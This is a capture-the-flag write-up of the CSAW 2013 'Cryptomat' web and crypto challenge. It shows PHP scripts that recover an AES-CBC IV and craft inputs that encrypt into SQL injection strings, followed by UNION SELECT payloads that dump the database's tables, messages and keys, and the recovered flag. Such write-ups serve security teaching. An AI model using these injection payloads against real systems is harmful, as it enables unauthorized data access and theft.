Another CSAW CTF quals 2013 challenge added Saturday evening (late night for Dragon Sector actually). It was worth 400 points, solved by 41 teams (still 45 minutes of CTF left, so this might be inaccurate), and involved both some crypto and web skills. On behalf of Dragon Sector this task was worked on and solved by valis, keidii, mak and myself (gynvael). Enjoy!
The tasks description was interesting:
Cryptomat is back! You know the drill. Get the key from Dog.
http://128.238.66.225
Indeed there was a Cryptomatv1 a year ago, but being familiar with it is not required to solve this task.
When entering the page you are greeted by the following message:
You are not using a secure browser! (Compatible browsers expose the string SECURE in the useragent).
Adding SECURE to your User Agent does the trick, and you get to see a web site for exchanging encrypted messages (see the screenshots below).
In short, you can create encrypted messages and send them (e.g. to yourself), as well as search through them and download them in the encrypted form (you cannot decrypt them via www though).
Let's try searching. How about we search for... query "xxx" with key "xxx" (kudos keidii for trying this out)?
Ups! Looks like a MySQL error. Analyzing it you can imagine the query it's probably something like this:
SELECT * FROM ??? WHERE ??? LIKE "encrypted(query,key)" ORDER BY id ASC LIMIT ?, 10
This means we have to create such a query, that when encrypted with the given key, is a valid SQL injection payload. Since, as the intro page tells us, this is AES 128-bit in CBC mode, in order to generate such a string we need to start by determining the used IV (initialization vector).
It's important to note here, that in AES 128-bit CBC mode the IV is just a 128-bit string which, when encrypting, is xorred with the first 128-bit block of the plaintext, before that is encrypted (this is to prevent two messages with identical first blocks from looking the same when encrypted). Of course, when decrypting this is done in the opposite direction - first the block is decrypted, and then again is xorred with the IV.
So, to determine the IV we just need to:
- Encrypt a plaintext (e.g. "AAAAAAAAAAAAAAAA") with a key (e.g. "AAAAAAAAAAAAAAAA") via the web interface.
- Download the encrypted message.
- Decrypt the message using the known key and a zero IV (i.e. "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0").
- And XOR the first block with the plaintext. What you get is the IV they use.
kdy0oag+ynCMLgeiZN0nog==
Now we can use the following PHP script to get the IV:
<?php $cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc',''); $encrypted_msg = "kdy0oag+ynCMLgeiZN0nog=="; $plaintext = "AAAAAAAAAAAAAAAA"; $key = "AAAAAAAAAAAAAAAA"; $iv= "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; mcrypt_generic_init($cipher, $key, $iv); $decrypted = mdecrypt_generic($cipher, base64_decode($encrypted_msg)); mcrypt_generic_deinit($cipher); $rec_iv = $decrypted ^ $plaintext; echo($rec_iv);The output:
8k2F2QS480W998NmSo now we have the IV!
Having the IV allows us to create a string, which, after encryption with the given key and IV will result in an SQLI payload. Please note that to generate such a string you just have to start with decrypting (sic!) the payload with the key and IV, since basically encrypt(key, iv, decrypt(key, iv, payload)) == payload
. This can be done with the following piece of PHP code:
<?php $cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc',''); $iv = "8k2F2QS480W998Nm"; $key = "xxx"; # Payload. $exp = "\" or 1=1 or \"\"=\""; # Padding. $l = 16 - (strlen($exp) % 16); $exp .= str_repeat(" ", $l); mcrypt_generic_init($cipher, $key, $iv); $decrypted = mdecrypt_generic($cipher,$exp); mcrypt_generic_deinit($cipher); # Link for convenience. print "http://128.238.66.225/search.php?key=xxx&query=" . urlencode($decrypted) . "\n";And the output:
http://128.238.66.225/search.php?key=xxx&query=%ED%EF%AC%92%F6%E5a6%F1%BAM%17%D6%94SeU%8D%EEH%F5%40%01%DD%E3%BF%F9%05%0D%92%11BEntering the link shows that the SQLI payload indeed gets executed:
And here we have the aforementioned Dog! Now we just need to get the messages from him, and in order to do that we have to go through the standard way of fetching table names, column names, and their content from the INFORMATION_SCHEMA and the respective tables themselves. Here's a couple of payloads we've used to achieve that:
$exp = "\" and 1=0 union select 1,2,3,4,5,TABLE_NAME,7,8 as id from INFORMATION_SCHEMA.TABLES where table_schema='cryptomat2' and \"x\"!=\"";
$exp = "\" and 1=0 union select 1,2,3,4,5,COLUMN_NAME,7,8 as id from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='message' and \"x\"!=\"";
$exp = "\" and 1=0 union select from_user_id,from_user_id,from_user_id,from_user_id,from_user_id,title,from_user_id,id from message where \"x\"!=\"";
$exp = "\" and 1=0 union select from_user_id,from_user_id,from_user_id,from_user_id,from_user_id,hex(`key`),from_user_id,id from message where \"x\"!=\"";
Here are the dumps from the database:
From Title DL kasa information_schema kasa cryptomat2 kasa test From Title DL kasa message kasa user From Title DL kasa id kasa to_user_id kasa from_user_id kasa deleted kasa open kasa title kasa key kasa text From Title DL Dog Hey there! Dog I HAVE THE KEY Dog HERE IT IS Cat what? Cat Coolbeans kasa asdf kasa ASDF kasa a kasa a kasa fat From Title DL Dog E9F872B26C45C9996D00B435EB591D59 Dog F7524082F4E9115E7B8CBDC603873A63 Dog C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E Cat 28C34EAD73ECBF1F03A299A35400E745 Cat F41B9656DF722545F75101B48C5DECDA From Title DL Dog AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722 Dog CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA Dog 52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236 Cat D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD Cat A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59So we have got both the encrypted messages, and the keys (which were stored on the server after all!). Here's a PHP script to decrypt them (they are hex encoded):
function dec($what, $key) { global $iv; global $cipher; mcrypt_generic_init($cipher, hex2bin($key), $iv); $decrypted = mdecrypt_generic($cipher, hex2bin($what)); mcrypt_generic_deinit($cipher); echo $decrypted; echo "\n"; } dec("E9F872B26C45C9996D00B435EB591D59", "AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722"); dec("F7524082F4E9115E7B8CBDC603873A63", "CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA"); dec("C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E", "52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236"); dec("28C34EAD73ECBF1F03A299A35400E745", "D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD"); dec("F41B9656DF722545F75101B48C5DECDA", "A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59");And the output:
Dog: GUESS WHAT? Dog: !!!!!!!!!!! Dog: KEY{HURR_HURR_CRYPTOC_IZ_FUN} Cat: you smell Cat: lolAnd that's about it. Pretty cool task :)
No comments:
Post a Comment